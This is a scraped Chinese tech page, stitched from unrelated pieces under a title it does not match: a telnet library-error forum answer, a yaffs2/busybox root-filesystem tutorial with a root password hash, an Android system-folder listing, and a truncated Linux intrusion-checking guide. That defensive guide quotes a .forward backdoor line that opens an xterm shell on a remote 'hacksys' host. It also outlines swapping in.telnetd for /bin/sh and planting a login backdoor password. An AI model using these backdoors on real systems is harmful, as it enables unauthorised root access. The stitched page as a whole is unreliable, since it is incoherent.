telnetd源码分析_telnet命令实例

hacker|
107

文章目录:

红旗Linux Telnet时错误!!!急啊,在线等!!!

1楼讲话负责点。让人做什么操作请给出理由。

从你的报错提示看,是telnet服务进程in.telnetd在载入所需的库libutil.so.1时遇到无法载入引起的。

导致这样的原因有很多,比较常见的有

1. 你的操作系统给人不负责任的修改过了(胡乱编译安装源码、从第三方源下载安装系统重要组件比如glibc之类),导致链接库接口改变

2. 系统相关文件的权限给修改过,比如libutil.so.1文件读写权限过高,或者in.telnetd权限过低

3. libutil.so.1文件被恶意删除了

从你的描述看,第二点可能性比较大。但是我不知你机器的具体情况,所以无法判定。

另外,telnet传送数据是用明文传送,很不安全。因此强烈建议你改用ssh进行远程访问。

访问方式如下

ssh 用户名@IP地址或者域名

如何使linux内核2.6.31支持yaffs2文件系统

下面操作的前提是:内核支持nand flash

一. 下载yaffs2源码,(我将源码反正/opt目录下),并解压源码,进入源码目录

# tar xzvf yaffs2.tar.gz

# cd yaffs2

二. 为内核添加yaffs2文件系统补丁,执行:

# ./patch-ker.sh c m /..../linux-2.6.31.1 ----c m后面接的是内核源码所在的目录

执行完后,在内核源码fs目录下就多了一个yaffs2目录,同时Makefile和Kconfig文件也增加了对yaffs2的配置和编译条件。

三. 配置内核对yaffs2的支持

这里的配置根据自己的需求,把不用的文件系统都去掉。

#make menuconfig

找到下面的配置:

File systems ---

DOS/FAT/NT Filesystems ---

* MSDOS fs support

* VFAT (Windows95) fs support

Miscellaneous filesystems ---

* YAFFS2 file system support

[*] Autoselect yaffs2 format

配置语言选项:

Native Language support ---

(iso8859-1) Default NLS Option

* Codepage 437(United States, Canada)

* Simplified Chinese charset(CP936, GB2312)

* NLS ISO8859-1 (Latin 1; Western European Language)

* NLS UTF-8

现在内核已经支持NandFlash和yaffs2文件系统,重新编译内核:

#make zImage

将编译好的内核烧入NandFlash后,再烧入yaffs2文件系统,就可以了。

四. 制作yaffs2根文件系统

1. 环境

(1) 交叉编译器版本: arm-linux-gcc 4.3.3

(2) Linux环境:redhat enterprise 5.5 (2.6.18-194.el5)

(3) 开发板:TQ2440

2. 编译busybox

(1) 获取busybox源码,放在/opt目录下,解压,进入busybox源码目录

#tar jxvf busybox-1.17.2.tar.bz2

#cd busybox-1.17.2

#vi Makefile

将164行改为CROSS_COMPILE = arm-linux-

将190行改为ARCH = arm

保存退出进入配置菜单

#make menuconfig 采用默认配置保存推出

#make

#make install

通过上面的步骤,在busybox-1.17.2的根目录下出现了一个_install目录,

在该目录下又有三个目录文件bin sbin usr和一个链接文件 linuxrc。

3. 创建根文件系统必要的目录

(1)在/opt目录下创建root_fs目录

#mkdir root_fs

#cd root_fs

(2)将busybox-1.17.2的根目录下_install中的bin sbin usr和linuxrc拷贝到root_fs

#cp -rf /opt/busybox-1.17.2/_install/* /opt/root_fs

(3)创建必要的目录

#mkdir dev etc home lib mnt opt proc root sys tmp var

(4)创建必要的二级目录

#mkdir usr/lib usr/share

#mkdir etc/rc.d

#mkdir var/lib var/lock var/run var/tmp

4. 创建必要的文件

(1) 获取库文件,(交叉编译工具下的库文件)到root_fs/lib目录中

#cp -rf /opt/arm/4.3.3/arm-none-linux-gnueabi/libc/armv4t/lib/*so* lib -a

(2) 将主机etc目录下的passwd、group、shadow文件拷贝到root_fs/etc目录下

#cp -f /etc/passwd /etc/group /etc/shadow etc

将目录/opt/busybox-1.17.2/examples/bootfloppy/etc下的所有文件拷贝到root_fs/etc下。

在这个目录下有三个文件fstab, inittab, profile和一个目录init.d,在目录init.d中有一个文件rcS。

#cp -rf /opt/busybox-1.17.2/examples/bootfloppy/etc/* etc

在目录etc下创建文件mdev.conf。mdev是?v的一个简化版本,

我们可以通过文件mdev.conf自定义一些设备节点的名称或链接来满足特定的需要,但在此处让它为空。

#touh etc/mdev.conf

(3)创建两个设备文件dev/console dev/null。

在linux内核源码文件init/main.c中有打开设备文件dev/console的操作如下:

static noinline int init_post(void)

__releases(kernel_lock)

{

………………………………

if (sys_open((const char __user *) "/dev/console", O_RDWR, 0) 0)

printk(KERN_WARNING "Warning: unable to open an initial console.\n");

………………………………

}

内核启动执行到这里时mdev还没有构建dev目录,如果没有创建设备文件dev/console就将会打印警告

Warning: unable to open an initial console。

在内核启动的过程中要将产生的一些垃圾信息丢弃就需要空设备dev/null。

#mknod dev/console c 5 1

#mknod dev/null c 1 3

5. 修改文件

在启动过程中bootloader会传递参数init=/linuxrc给内核的main()函数,所以在文件系统被挂载后,

运行的第一个程序是linuxrc,而linuxrc是一个指向/bin/busybox的链接文件,也就是说文件系统被挂在后运行的第一个程序是busybox。

Busybox首先会解析文件/etc/inittab,这个文件中存放的是系统的配置信息,这些配置信息指明了接下来将要启动那些程序。

-------------------------------------------------------------------------------------------------------

(1)修改文件etc/inittab如下

::sysinit:/etc/init.d/rcS

s3c2410_serial0::askfirst:-/bin/sh

::ctrlaltdel:/sbin/reboot

::shutdown:/bin/umount -a -r

说明:

/etc/inittab 文件中每个条目用来定义一个子进程,并确定它的启动方法,格式如下

:::

:表示这个进程要使用的控制台(即标准输入、标准输出、标准错误设备)。如果省 略,则使用与init进程一样的控制台。

:对于Busybox init程序,这个字段滑意义,可以省略。

:表示init程序如何控制这个子进程,

: 要执行的程序,它可以是可执行程序,也可以是脚本

文件etc/inittab配置条目说明如下:

::sysinit:/etc/init.d/rcS

启动系统初始化文件/etc/init.d/rcS。字段sysinit表明文件/etc/init.d/rcS在系统启动后最先执行,

并且只执行一次,init进程等待它结束才继续执行其它动作。(脚本文件名一般为rc,后缀S代表单用户运行级别脚本)

tq2440_serial0::askfirst:-/bin/sh

在串口s3c2410_serial0上启动askfirst动作的shell。

S3C2410的串口名在/dev下是s3c2410_serialx。askfirst表明init进程先输出 “Please press Enter to actvie this console”,

等用户输入回车键之后才启动-/bin/sh。

::ctrlaltdel:/sbin/reboot

当按下Ctrl+Alt+Delete组合键时,init重启执行程序。字段ctrlaltdel表明当按下Ctrl+Alt+Delete组合键时,执行相应的进程。

::shutdown:/bin/umount -a -r

告诉init在关机时运行umount命令卸载所有的文件系统,如果卸载失败,试图以只读方式重新挂载。

字段shutdown表明在重启关闭系统命令时执行相应进程。 ------------------------------------------------------------------------------------------------------------------------------

(2)当解析完文件etc/inittab后就将启动这些进程,首先要执行的是启动脚本etc/init.d/rcS。

修改文件etc/init.d/rcS如下:

#! /bin/sh

PATH=/sbin:/bin:/usr/sbin:/usr/bin

runlevel=S

prevlevel=N

umask 022

export PATH runlevel prevlevel

/bin/hostname CPEmbed

/sbin/ifconfig lo 127.0.0.1 up

/sbin/ifconfig eth0 192.168.1.8 netmask 255.255.255.0

/sbin/route add default gw 192.168.1.1 eth0

echo "---------------mount all-----------------"

/bin/mount -a

mkdir /dev/pts

/bin/mknod /dev/pts/0 c 136 0

/bin/mknod /dev/pts/1 c 136 1

/bin/mknod /dev/pts/2 c 136 2

/bin/mknod /dev/pts/3 c 136 3

/bin/mknod /dev/pts/4 c 136 4

/bin/mknod /dev/pts/5 c 136 5

/bin/mount -t devpts devpts /dev/pts

echo /sbin/mdev/proc/sys/kernel/hotplug

mdev -s

/usr/sbin/telnetd

/usr/sbin/vsftpd

echo "******************************************"

echo "******************************************"

echo "** Kernel version: linux-2.6.31.1 **"

echo "** Date: 2012.04.12 **"

echo "******************************************"

说明如下:

#! /bin/sh 用busybox的shell

PATH=/sbin:/bin:/usr/sbin:/usr/bin //shell命令的搜索路径

runlevel=S //运行在单用户模式

prevlevel=N //前一个级别为n表示没有前一个级别

umask 022 //权限位掩码

export PATH runlevel prevlevel //将设置的变量导出到环境中

/bin/hostname CPembed //主机名,CPembed将出现在shell提示符中[root@CPembed/]#

/sbin/ifconfig lo 127.0.0.1 up //启动lo

/sbin/ifconfig eth0 192.168.1.8 netmask 255.255.255.0 up //配置ip地址

/sbin/route add default gw 192.168.1.1 eth0 //添加默认路由

/bin/mount -a //将文件etc/fstab中指明的文件系统挂载到对应挂载点上

后面的8行是对telnetd的配置

echo /sbin/mdev/proc/sys/kernel/hotplug //用mdev来处理内核的热插拔事件。

当有热插拔事件产生时,内核就会调用位于/sbin目录的mdev。这时mdev通过环境变量中的ACTION和DEVPATH,

(这两个变量是系统自带的)来确定此次热插拔事件的动作以及影响了/sys 中的那个目录。接着会看看这个目录中是否有“dev”的属性文件,

如果有就利用这些信息为 这个设备在/dev 下创建设备节点文件。

mdev -s //建立dev目录。以‘-s’为参数调用位于/sbin 目录写的 mdev(其实是个链接,作用是传递参数给/bin目录下的busybox 程序并调用它),mdev扫描 /sys/class 和/sys /block中所有的类设备目录,如果在目录中含有名为“dev”的文件,且文件中包含的是设备号,则 mdev 就利用这些信息为这个设备在/dev下创建设备节点文件。一般只在启动时才执行一次“mdev -s”

/usr/sbin/telnetd //后台运行telnetd

/usr/sbin/vsftpd //后台运行vsftpd

------------------------------------------------------------------------------------------------------------------------------

(3)修改文件etc/fstab如下:

#device mount-point type option dump fsck order

proc /proc proc defaults 0 0

none /tmp ramfs defaults 0 0

sysfs /sys sysfs defaults 0 0

mdev /dev ramfs defaults 0 0

在系统启动初始化文件/etc/init.d/rcS中有执行挂载命令/bin/mount -a ,这便是将文件etc/fstab中指定 的文件系统挂载到对应的挂载点上。这些文件系统的挂在是执行mdev -s命令建立dev目录的前提------------------------------------------------------------------------------------------------------------------------------

(4)在启动脚本etc/init.d/rcS执行完后将在串口s3c2410_serial0启动一个shell。Shell启动过程中会根据文件/etc/profile配置登陆环境。

文件/etc/profile修改如下:

USER=" 'id -un' "

LOGNAME=$USER

PS1='[\u@\h \W]# '

PATH=$PATH

HOSTNAME='/bin/hostname'

export USER LOGNAME PS1 PATH

具体说明:

USER="id -un" //获取用户名id-un与whoami命令有相同的功能

PS1='[\u@\h \W]# ' //PS1指定sh提示符的格式在本环境下将是[root@cyembed /]#

export USER LOGNAME PS1 PATH 将这些变量导出到环境。

(5)在用户登录时将在/etc下寻找三个文件passwd ,shadow, group匹配相关信息。

这三个文件修改如下:

/etc/passwd

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

nobody:x:99:99:Nobody:/:/sbin/nologin

/etc/group

root:x:0:root

bin:x:1:root,bin,daemon

daemon:x:2:root,bin,daemon

ftp:x:50:

nobody:x:99:

/etc/shadow root:$6$hnswPTgxzFaZHlLl$WMMV0Av6O6c4RA4pwpVSgcKSiURhUlP5dxF3/MKEZlGzNXhoWMQeZA1rdf1z7VQbrrmOZe7YHw1rIQmAc8BNK/:14819:0:99999:7:::

bin:*:14715:0:99999:7:::

daemon:*:14715:0:99999:7:::

ftp:*:14715:0:99999:7:::

nobody:*:14715:0:99999:7:::

------------------------------------------------------------------------------------------------------------

6. 制作yaffs2根文件系统镜像

用天嵌科技提供的yaffs2文件系统镜像制作工具mkyaffs2image,制作根文件系统镜像。

#./mkyaffs2image root_fs root_fs.bin

7. 将根文件系统镜像下载到nand flash并启动

启动信息如下:

Android系统文件夹结构详细解析!?

\\system\\app

这个里面主要存放的是常规下载的应用程序,可以看到都是以APK格式结尾的文件。在这个文件夹下的程序为系统默认的组件,自己安装的软件将不会出现在这里,而是\\data\\文件夹中。下面是详细的介绍:

\\system\\app\\AlarmClock.apk 闹钟

\\system\\app\\AlarmClock.odex

\\system\\app\\Browser.apk 浏览器

\\system\\app\\Browser.odex

\\system\\app\\Bugreport.apk Bug报告

\\system\\app\\Bugreport.odex

\\system\\app\\Calculator.apk 计算器

\\system\\app\\Calculator.odex

\\system\\app\\Calendar.apk 日历

\\system\\app\\Calendar.odex

\\system\\app\\CalendarProvider.apk 日历提供

\\system\\app\\CalendarProvider.odex

\\system\\app\\Camera.apk 照相机

\\system\\app\\Camera.odex

\\system\\app\\com.amazon.mp3.apk 亚马逊音乐

\\system\\app\\Contacts.apk 联系人

\\system\\app\\Contacts.odex

\\system\\app\\DownloadProvider.apk 下载提供

\\system\\app\\DownloadProvider.odex

\\system\\app\\DrmProvider.apk DRM数字版权提供

\\system\\app\\DrmProvider.odex

\\system\\app\\Email.apk 电子邮件客户端

\\system\\app\\Email.odex

\\system\\app\\FieldTest.apk 测试程序

\\system\\app\\FieldTest.odex

\\system\\app\\GDataFeedsProvider.apk GoogleData提供

\\system\\app\\GDataFeedsProvider.odex

\\system\\app\\Gmail.apk Gmail电子邮件

\\system\\app\\Gmail.odex

\\system\\app\\GmailProvider.apk Gmail提供

\\system\\app\\GmailProvider.odex

\\system\\app\\GoogleApps.apk 谷歌程序包

\\system\\app\\GoogleApps.odex

\\system\\app\\GoogleSearch.apk 搜索工具

\\system\\app\\GoogleSearch.odex

\\system\\app\\gtalkservice.apk GTalk服务

\\system\\app\\gtalkservice.odex

\\system\\app\\HTMLViewer.apk HTML查看器

\\system\\app\\HTMLViewer.odex

\\system\\app\\IM.apk 即使通讯组件包含MSN、yahoo通

\\system\\app\\ImCredentialProvider.apk

\\system\\app\\ImProvider.apk

\\system\\app\\ImProvider.odex

\\system\\app\\Launcher.apk 启动加载器

\\system\\app\\Launcher.odex

\\system\\app\\Maps.apk 电子地图

\\system\\app\\Maps.odex

\\system\\app\\MediaProvider.apk 多媒体播放提供

\\system\\app\\MediaProvider.odex

\\system\\app\\Mms.apk 短信、彩信

\\system\\app\\Mms.odex

\\system\\app\\Music.apk 音乐播放器

\\system\\app\\Music.odex

\\system\\app\\MyFaves.apk T-Mobile MyFaves程序

\\system\\app\\MyFaves.odex

\\system\\app\\PackageInstaller.apk apk安装程序

\\system\\app\\PackageInstaller.odex

\\system\\app\\Phone.apk 电话拨号器

\\system\\app\\Phone.odex

\\system\\app\\Settings.apk 系统设置

\\system\\app\\Settings.odex

\\system\\app\\SettingsProvider.apk 设置提供

\\system\\app\\SettingsProvider.odex

\\system\\app\\SetupWizard.apk 设置向导

\\system\\app\\SetupWizard.odex

\\system\\app\\SoundRecorder.apk 录音工具

\\system\\app\\SoundRecorder.odex

\\system\\app\\Street.apk 街景地图

\\system\\app\\Street.odex

\\system\\app\\Sync.apk 同步程序

\\system\\app\\Sync.odex

\\system\\app\\Talk.apk 语音程序

\\system\\app\\Talk.odex

\\system\\app\\TelephonyProvider.apk 电话提供

\\system\\app\\TelephonyProvider.odex

\\system\\app\\Updater.apk 更新程序

\\system\\app\\Updater.odex

\\system\\app\\Vending.apk 制造商信息

\\system\\app\\Vending.odex

\\system\\app\\VoiceDialer.apk 语音拨号器

\\system\\app\\VoiceDialer.odex

\\system\\app\\YouTube.apk Youtube视频

\\system\\app\\YouTube.odex

\\system\\bin

这个目录下的文件都是系统的本地程序,从bin文件夹名称可以看出是binary二进制的程序,里面主要是Linux系统自带的组件,Android手机网就主要文件做下简单的分析介绍:

\\system\\bin\\akmd

\\system\\bin\\am

\\system\\bin\\app_process 系统进程

\\system\\bin\\dalvikvm Dalvik虚拟机宿主

\\system\\bin\\dbus-daemon 系统BUS总线监控

\\system\\bin\\debuggerd 调试器

\\system\\bin\\debug_tool 调试工具

\\system\\bin\\dexopt DEX选项

\\system\\bin\\dhcpcd DHCP服务器

\\system\\bin\\dumpstate 状态抓取器

\\system\\bin\\dumpsys 系统抓取器

\\system\\bin\\dvz

\\system\\bin\\fillup

\\system\\bin\\flash_image 闪存映像

\\system\\bin\\hciattach

\\system\\bin\\hcid HCID内核

\\system\\bin\\hostapd

\\system\\bin\\hostapd_cli

\\system\\bin\\htclogkernel

\\system\\bin\\input

\\system\\bin\\installd

\\system\\bin\\itr

\\system\\bin\\linker

\\system\\bin\\logcat Logcat日志打印

\\system\\bin\\logwrapper

\\system\\bin\\mediaserver

\\system\\bin\\monkey

\\system\\bin\\mountd 存储挂载器

\\system\\bin\\netcfg 网络设置

\\system\\bin\\ping Ping程序

\\system\\bin\\playmp3 MP3播放器

\\system\\bin\\pm 包管理器

\\system\\bin\\qemud QEMU虚拟机

\\system\\bin\\radiooptions 无线选项

\\system\\bin\\rild RIL组件

\\system\\bin\\sdptool

\\system\\bin\\sdutil

\\system\\bin\\service

\\system\\bin\\servicemanager 服务管理器

\\system\\bin\\sh

\\system\\bin\\ssltest SSL测试

\\system\\bin\\surfaceflinger 触摸感应驱动

\\system\\bin\\svc 服务

\\system\\bin\\system_server

\\system\\bin\\telnetd Telnet组件

\\system\\bin\\toolbox

\\system\\bin\\wlan_loader

\\system\\bin\\wpa_cli

\\system\\bin\\wpa_supplicant

\\system\\etc

从文件夹名称来看保存的都是系统的配置文件,比如APN接入点设置等核心配置。

\\system\\etc\\apns-conf.xml APN接入点配置文件

\\system\\etc\\AudioFilter.csv 音频过滤器配置文件

\\system\\etc\\AudioPara4.csv

\\system\\etc\\bookmarks.xml 书签数据库

\\system\\etc\\dbus.conf 总线监视配置文件

\\system\\etc\\dhcpcd

\\system\\etc\\event-log-tags

\\system\\etc\\favorites.xml 收藏夹

\\system\\etc\\firmware 固件信息

\\system\\etc\\gps.conf GPS设置文件

\\system\\etc\\hcid.conf内核HCID配置文件

\\system\\etc\\hosts 网络DNS缓存

\\system\\etc\\init.goldfish.sh

\\system\\etc\\location 定位相关

\\system\\etc\\mountd.conf 存储挂载配置文件

\\system\\etc\\NOTICE.html 提示网页

\\system\\etc\\permissions.xml 权限许可

\\system\\etc\\pvplayer.conf

\\system\\etc\\security

\\system\\etc\\wifi WLAN相关组件

\\system\\etc\\dhcpcd\\dhcpcd-hooks

\\system\\etc\\dhcpcd\\dhcpcd-run-hooks

\\system\\etc\\dhcpcd\\dhcpcd.conf

\\system\\etc\\dhcpcd\\dhcpcd-hooks\\01-test

\\system\\etc\\dhcpcd\\dhcpcd-hooks\\20-dns.conf

\\system\\etc\\dhcpcd\\dhcpcd-hooks\\95-configured

\\system\\etc\\firmware\\brf6300.bin

\\system\\etc\\location\\gps

\\system\\etc\\location\\gps\\location 定位相关

\\system\\etc\\location\\gps\\nmea GPS数据解析

\\system\\etc\\location\\gps\\properties

\\system\\etc\\security\\cacerts.bks

\\system\\etc\\security\\otacerts.zip OTA下载验证

\\system\\etc\\wifi\\Fw1251r1c.bin

\\system\\etc\\wifi\\tiwlan.ini

\\system\\etc\\wifi\\wpa_supplicant.conf WPA验证组件

\\system\\fonts

字体文件夹,除了标准字体和粗体、斜体外可以看到文件体积最大的可能是中文字库,或一些unicode字库,从T-Mobile G1上可以清楚的看到显示简体中文正常,其中DroidSansFallback.ttf文件大小

\\system\\fonts\\DroidSans-Bold.ttf

\\system\\fonts\\DroidSans.ttf

\\system\\fonts\\DroidSansFallback.ttf

\\system\\fonts\\DroidSansMono.ttf

\\system\\fonts\\DroidSerif-Bold.ttf

\\system\\fonts\\DroidSerif-BoldItalic.ttf

\\system\\fonts\\DroidSerif-Italic.ttf

\\system\\fonts\\DroidSerif-Regular.ttf

\\system\\framework

framework主要是一些核心的文件,从后缀名为jar可以看出是是系统平台框架。

\\system\\framework\\am.jar

\\system\\framework\\am.odex

\\system\\framework\\android.awt.jar AWT库

\\system\\framework\\android.awt.odex

\\system\\framework\\android.policy.jar

\\system\\framework\\android.policy.odex

\\system\\framework\\android.test.runner.jar

\\system\\framework\\android.test.runner.odex

\\system\\framework\\com.google.android.gtalkservice.jar GTalk服务

\\system\\framework\\com.google.android.gtalkservice.odex

\\system\\framework\\com.google.android.maps.jar 电子地图库

\\system\\framework\\com.google.android.maps.odex

\\system\\framework\\core.jar 核心库,启动桌面时首先加载这个

\\system\\framework\\core.odex

\\system\\framework\\ext.jar

\\system\\framework\\ext.odex

\\system\\framework\\framework-res.apk

\\system\\framework\\framework-tests.jar

\\system\\framework\\framework-tests.odex

\\system\\framework\\framework.jar

\\system\\framework\\framework.odex

\\system\\framework\\input.jar 输入库

\\system\\framework\\input.odex

\\system\\framework\\itr.jar

\\system\\framework\\itr.odex

\\system\\framework\\monkey.jar

\\system\\framework\\monkey.odex

\\system\\framework\\pm.jar 包管理库

\\system\\framework\\pm.odex

\\system\\framework\\services.jar

\\system\\framework\\services.odex

\\system\\framework\\ssltest.jar

\\system\\framework\\ssltest.odex

\\system\\framework\\svc.jar 系统服务

\\system\\framework\\svc.odex

\\system\\lib

lib目录中存放的主要是系统底层库,如平台运行时库。

\\system\\lib\\libaes.so

\\system\\lib\\libagl.so

\\system\\lib\\libandroid_runtime.so Android运行时库

\\system\\lib\\libandroid_servers.so 系统服务组件

\\system\\lib\\libaudio.so 音频处理

\\system\\lib\\libaudioeq.so EQ均衡器

\\system\\lib\\libaudioflinger.so 音频过滤器

\\system\\lib\\libbluetooth.so 蓝牙组件

\\system\\lib\\libc.so

\\system\\lib\\libcamera.so 超相机组件

\\system\\lib\\libcameraservice.so

\\system\\lib\\libcorecg.so

\\system\\lib\\libcrypto.so 加密组件

\\system\\lib\\libctest.so

\\system\\lib\\libcutils.so

\\system\\lib\\libdbus.so

\\system\\lib\\libdl.so

\\system\\lib\\libdrm1.so DRM解析库

\\system\\lib\\libdrm1_jni.so

\\system\\lib\\libdvm.so

\\system\\lib\\libexif.so

\\system\\lib\\libexpat.so

\\system\\lib\\libFFTEm.so

\\system\\lib\\libGLES_CM.so

\\system\\lib\\libgps.so

\\system\\lib\\libhardware.so

\\system\\lib\\libhgl.so

\\system\\lib\\libhtc_ril.so

\\system\\lib\\libicudata.so

\\system\\lib\\libicui18n.so

\\system\\lib\\libicuuc.so

\\system\\lib\\liblog.so

\\system\\lib\\libm.so

\\system\\lib\\libmedia.so

\\system\\lib\\libmediaplayerservice.so

\\system\\lib\\libmedia_jni.so

\\system\\lib\\libnativehelper.so

\\system\\lib\\libnetutils.so

\\system\\lib\\libOmxCore.so

\\system\\lib\\libOmxH264Dec.so

\\system\\lib\\libpixelflinger.so

\\system\\lib\\libpvasf.so

\\system\\lib\\libpvasfreg.so

\\system\\lib\\libpvauthor.so

\\system\\lib\\libpvcommon.so

\\system\\lib\\libpvdownload.so

\\system\\lib\\libpvdownloadreg.so

\\system\\lib\\libpvmp4.so

\\system\\lib\\libpvmp4reg.so

\\system\\lib\\libpvnet_support.so

\\system\\lib\\libpvplayer.so

\\system\\lib\\libpvrtsp.so

\\system\\lib\\libpvrtspreg.so

\\system\\lib\\libqcamera.so

\\system\\lib\\libreference-ril.so

\\system\\lib\\libril.so

\\system\\lib\\librpc.so

\\system\\lib\\libsgl.so

\\system\\lib\\libsonivox.so

\\system\\lib\\libsoundpool.so

\\system\\lib\\libsqlite.so

\\system\\lib\\libssl.so

\\system\\lib\\libstdc++.so

\\system\\lib\\libsurfaceflinger.so

\\system\\lib\\libsystem_server.so

\\system\\lib\\libthread_db.so

\\system\\lib\\libUAPI_jni.so

\\system\\lib\\libui.so

\\system\\lib\\libutils.so

\\system\\lib\\libvorbisidec.so

\\system\\lib\\libwbxml.so

\\system\\lib\\libwbxml_jni.so

\\system\\lib\\libwebcore.so

\\system\\lib\\libwpa_client.so

\\system\\lib\\libxml2wbxml.so

\\system\\lib\\libz.so

\\system\\lib\\modules

\\system\\lib\\modules\\wlan.ko

Linux如何判断自己的服务器是否被入侵

1、检查系统密码文件

首先从明显的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。

检查一下passwd文件中有哪些特权用户,系统中uid为0的用户都会被显示出来。

1

   

awk –F:’$3==0 {print $1}’ /etc/passwd

   

顺便再检查一下系统里有没有空口令帐户:

1

   

awk –F: ‘length($2)==0 {print $1}’ /etc/shadow

   

2、查看一下进程,看看有没有奇怪的进程

重点查看进程:ps –aef | grep inetd

inetd是UNIX系统的守护进程,正常的inetd的pid都比较靠前,如果你看到输出了一个类似inetd –s /tmp/.xxx之类的进程,着重看inetd –s后面的内容。在正常情况下,LINUX系统中的inetd服务后面是没有-s参数的,当然也没有用inetd去启动某个文件;而solaris系统中也仅仅是inetd –s,同样没有用inetd去启动某个特定的文件;如果你使用ps命令看到inetd启动了某个文件,而你自己又没有用inetd启动这个文件,那就说明已经有人入侵了你的系统,并且以root权限起了一个简单的后门。

输入ps –aef 查看输出信息,尤其注意有没有以./xxx开头的进程。一旦发现异样的进程,经检查为入侵者留下的后门程序,立即运行kill –9 pid 开杀死该进程,然后再运行ps –aef查看该进程是否被杀死;一旦此类进程出现杀死以后又重新启动的现象,则证明系统被人放置了自动启动程序的脚本。这个时候要进行仔细查找:find / -name 程序名 –print,假设系统真的被入侵者放置了后门,根据找到的程序所在的目录,会找到很多有趣的东东J

UNIX下隐藏进程有的时候通过替换ps文件来做,检测这种方法涉及到检查文件完整性,稍后我们再讨论这种方法。

接下来根据找到入侵者在服务器上的文件目录,一步一步进行追踪。

3、检查系统守护进程

检查/etc/inetd.conf文件,输入:cat /etc/inetd.conf | grep –v “^#”,输出的信息就是你这台机器所开启的远程服务。

一般入侵者可以通过直接替换in.xxx程序来创建一个后门,比如用/bin/sh 替换掉in.telnetd,然后重新启动inetd服务,那么telnet到服务器上的所有用户将不用输入用户名和密码而直接获得一个rootshell。

4、检查网络连接和监听端口

输入netstat -an,列出本机所有的连接和监听的端口,查看有没有非法连接。

输入netstat –rn,查看本机的路由、网关设置是否正确。

输入 ifconfig –a,查看网卡设置。

5、检查系统日志

命令last | more查看在正常情况下登录到本机的所有用户的历史记录。但last命令依赖于syslog进程,这已经成为入侵者攻击的重要目标。入侵者通常会停止系统的syslog,查看系统syslog进程的情况,判断syslog上次启动的时间是否正常,因为syslog是以root身份执行的,如果发现syslog被非法动过,那说明有重大的入侵事件。

在linux下输入ls –al /var/log

在solaris下输入 ls –al /var/adm

检查wtmp utmp,包括messgae等文件的完整性和修改时间是否正常,这也是手工擦除入侵痕迹的一种方法。

6、检查系统中的core文件

通过发送畸形请求来攻击服务器的某一服务来入侵系统是一种常规的入侵方法,典型的RPC攻击就是通过这种方式。这种方式有一定的成功率,也就是说它并不能100%保证成功入侵系统,而且通常会在服务器相应目录下产生core文件,全局查找系统中的core文件,输入find / -name core –exec ls –l {} \; 依据core所在的目录、查询core文件来判断是否有入侵行为。

7、.rhosts和.forward

这是两种比较著名的后门文件,如果想检查你的系统是否被入侵者安装了后门,不妨全局查找这两个文件:

find / -name “.rhosts” –print

find / -name “.forward” –print

在某用户的$HOME下,.rhosts文件中仅包含两个+号是非常危险的,如果你的系统上开了513端口(rlogin端口,和telnet作用相同),那么任意是谁都可以用这个用户登录到你的系统上而不需要任何验证。

看到这里如果想要深入的做安全加固服务以及安全部署

就必须找专业做服务器的安全公司来处理了国内也就Sine安全和绿盟比较专业提供。

Unix下在.forward文件里放入命令是重新获得访问的常用方法在某一 用户$HOME下的.forward可能设置如下:

\username|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 –e /bin/sh"

这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases). 注意这只是一种简单的变换. 更为高级的能够从.forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后).利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或procmail类程序, 很有可能还有问题。在Solaris系统下,如果你运行如下命令:

ln -s /var/mail/luser ~/.forward

然后设置vacation有效,那么/var/mail/luser就会被拷贝到~/.forward,同时会附加"|/usr/bin/vacation me",旧的symlink被移到~/.forward..BACKUP中。

直接删除掉这两个文件也可以。

8、检查系统文件完整性

检查文件的完整性有多种方法,通常我们通过输入ls –l 文件名来查询和比较文件,这种方法虽然简单,但还是有一定的实用性。但是如果ls文件都已经被替换了就比较麻烦。在LINUX下可以用rpm –V `rpm –qf 文件名` 来查询,国家查询的结果是否正常来判断文件是否完整。在LINUX下使用rpm来检查文件的完整性的方法也很多,这里不一一赘述,可以man rpm来获得更多的格式。

UNIX系统中,/bin/login是被入侵者经常替换作为后门的文件,接下来谈一下login后门 :

UNIX里,Login程序通常用来对telnet来的用户进行口令验证。入侵者获取login的源代码并修改,使它在比较输入口令与存储口令时先检查后门口令。如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入:这将允许入侵者进入任何账号,甚至是root目录。由于后门口令是在用户真实登录并被日志记录到utmp和wtmP前产生的一个访问,所以入侵者可以登录获取shell却不会暴露该账号。管理员注意到这种后门后,使用”strings”命令搜索login程序以寻找文本信息。许多情况下后门口令会原形毕露。入侵者又会开始加密或者更改隐藏口令,使strings命令失效。所以许多管理员利用MD5校验和检测这种后门。UNIX系统中有md5sum命令,输入md5sum 文件名检查该文件的md5签名。它的使用格式如下:md5sum –b 使用二进制方式阅读文件;md5sum –c 逆向检查MD5签名;md5sum –t 使用文本方式阅读文件。

在前面提到过守护进程,对于守护进程配置文件inetd.conf中没有被注释掉的行要进行仔细比较,举个简单的例子,如果你开放了telnet服务,守护进程配置文件中就会有一句:telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd

可以看到它所使用的文件是 /usr/sbin/in.telnetd,检查该文件的完整性,入侵者往往通过替换守护进程中允许的服务文件来为自己创建一个后门。

LINUX系统中的/etc/crontab也是经常被入侵者利用的一个文件,检查该文件的完整性,可以直接cat /etc/crontab,仔细阅读该文件有没有被入侵者利用来做其他的事情。

不替换login等文件而直接使用进程来启动后门的方法有一个缺陷,即系统一旦重新启动,这个进程就被杀死了,所以得让这个后门在系统启动的时候也启动起来。通常通过检查/etc/rc.d下的文件来查看系统启动的时候是不是带有后门程序;这个方法怎么有点象查windows下的trojan?

说到这里,另外提一下,如果在某一目录下发现有属性为这样的文件:-rwsr-xr-x 1 root root xxx .sh,这个表明任何用户进来以后运行这个文件都可以获得一个rootshell,这就是setuid文件。运行 find –perm 4000 –print对此类文件进行全局查找,然后删除这样的文件。

9、检查内核级后门

